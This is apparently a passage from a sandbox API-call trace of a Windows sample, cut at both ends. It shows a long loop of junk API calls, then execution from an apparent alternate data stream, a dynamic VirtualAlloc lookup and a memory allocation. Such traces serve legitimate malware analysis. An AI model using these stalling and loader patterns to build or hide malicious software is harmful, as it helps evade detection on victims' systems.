dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=9) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=10) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=11) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=12) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=13) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=14) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=15) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=16) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=17) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=18) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=19) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=20) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=21) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.514] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.514] IsCharLowerA (ch=22) returned 0 [0039.514] CountClipboardFormats () returned 4 [0039.514] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=23) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=24) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=25) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=26) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=27) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=28) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=29) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=30) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.515] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.515] IsCharLowerA (ch=31) returned 0 [0039.515] CountClipboardFormats () returned 4 [0039.515] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=32) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=1) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=2) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=3) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=4) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=5) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=6) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=7) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.516] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.516] IsCharLowerA (ch=8) returned 0 [0039.516] CountClipboardFormats () returned 4 [0039.516] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=9) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=10) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=11) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=12) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=13) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=14) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=15) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.517] IsCharLowerA (ch=16) returned 0 [0039.517] CountClipboardFormats () returned 4 [0039.517] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.517] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=17) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=18) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=19) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=20) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=21) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=22) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=23) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=24) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.518] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.518] IsCharLowerA (ch=25) returned 0 [0039.518] CountClipboardFormats () returned 4 [0039.518] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=26) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=27) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=28) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=29) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=30) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=31) returned 0 [0039.519] CountClipboardFormats () returned 4 [0039.519] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.519] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.519] IsCharLowerA (ch=32) returned 0 [0039.520] CountClipboardFormats () returned 4 [0039.520] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.520] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.520] IsCharLowerA (ch=1) returned 0 [0039.520] CountClipboardFormats () returned 4 [0039.520] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.520] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.520] IsCharLowerA (ch=2) returned 0 [0039.520] CountClipboardFormats () returned 4 [0039.520] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=3) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=4) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=5) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=6) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=7) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=8) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=9) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=10) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.521] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.521] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.521] IsCharLowerA (ch=11) returned 0 [0039.521] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=12) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=13) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=14) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=15) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=16) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=17) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=18) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.522] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.522] IsCharLowerA (ch=19) returned 0 [0039.522] CountClipboardFormats () returned 4 [0039.522] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=20) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=21) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=22) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=23) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=24) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=25) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=26) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=27) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.523] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.523] IsCharLowerA (ch=28) returned 0 [0039.523] CountClipboardFormats () returned 4 [0039.523] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=29) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=30) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=31) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=32) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=1) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=2) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=3) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.524] IsCharLowerA (ch=4) returned 0 [0039.524] CountClipboardFormats () returned 4 [0039.524] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.524] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=5) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=6) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=7) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=8) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=9) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=10) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=11) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=12) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.525] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.525] IsCharLowerA (ch=13) returned 0 [0039.525] CountClipboardFormats () returned 4 [0039.525] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=14) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=15) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=16) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=17) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=18) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=19) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=20) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=21) returned 0 [0039.526] CountClipboardFormats () returned 4 [0039.526] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.526] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.526] IsCharLowerA (ch=22) returned 0 [0039.527] CountClipboardFormats () returned 4 [0039.527] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.527] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.527] IsCharLowerA (ch=23) returned 0 [0039.527] CountClipboardFormats () returned 4 [0039.527] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.527] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.527] IsCharLowerA (ch=24) returned 0 [0039.527] CountClipboardFormats () returned 4 [0039.527] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin")) returned 0x2e [0039.528] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18ff08 | out: pcyOut=0x18ff08) returned 0x0 [0039.528] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fb56, nSize=0x104 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\R9C0HS~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\r9c0hs~1:bin")) returned 0x2e [0039.528] Sleep (dwMilliseconds=0x94) [0039.795] LdrGetProcedureAddress (in: BaseAddress=0x76e10000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fb30 | out: ProcedureAddress=0x18fb30*=0x76e21856) returned 0x0 [0039.796] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x390000 [0039.801] 